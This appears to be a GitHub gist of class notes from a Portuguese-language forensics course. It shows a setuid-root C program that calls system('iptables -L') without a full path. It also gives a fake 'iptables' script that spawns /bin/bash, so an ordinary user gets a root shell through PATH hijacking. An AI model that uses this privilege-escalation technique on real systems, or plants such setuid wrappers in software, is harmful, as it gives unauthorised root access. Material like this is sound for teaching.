Skip to content

Instantly share code, notes, and snippets.

@nenodias
Last active March 15, 2017 01:11
Show Gist options
  • Select an option

  • Save nenodias/1817eaa36913a853f7dbba8d68b95ab1 to your computer and use it in GitHub Desktop.

Select an option

Save nenodias/1817eaa36913a853f7dbba8d68b95ab1 to your computer and use it in GitHub Desktop.
Forense Aula - 3

#mls é o novo comando alias mls='./ls --color'

Depois você pode colocar o iptables (script) e alterar a permissão dele com chmod+x (execução). Ao executar o arquivoexecutavel ele irá executar o iptables (script) que retornará uma shell com permissão root (Devido a permissão S do arquivoexecutavel concedida pelo root).

#THUG LIFE

#include <stdio.h>
/*
Compilar com o usuário root
depois alterar e adicionar permisão s
gcc firewall.c -o arquivoexecutavel
chmod +s arquivoexecutavel
**Depois um usuário comun poderia executar sem problemas o arquivoexecutavel
//Considerando que o iptables está no seu path
que roda o iptables -L
*/
int main(){
printf("Listando iptables")
setsid(0);
setuid(0);
system("iptables -L");
return 0;
}
#!/bin/bash
/bin/bash
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment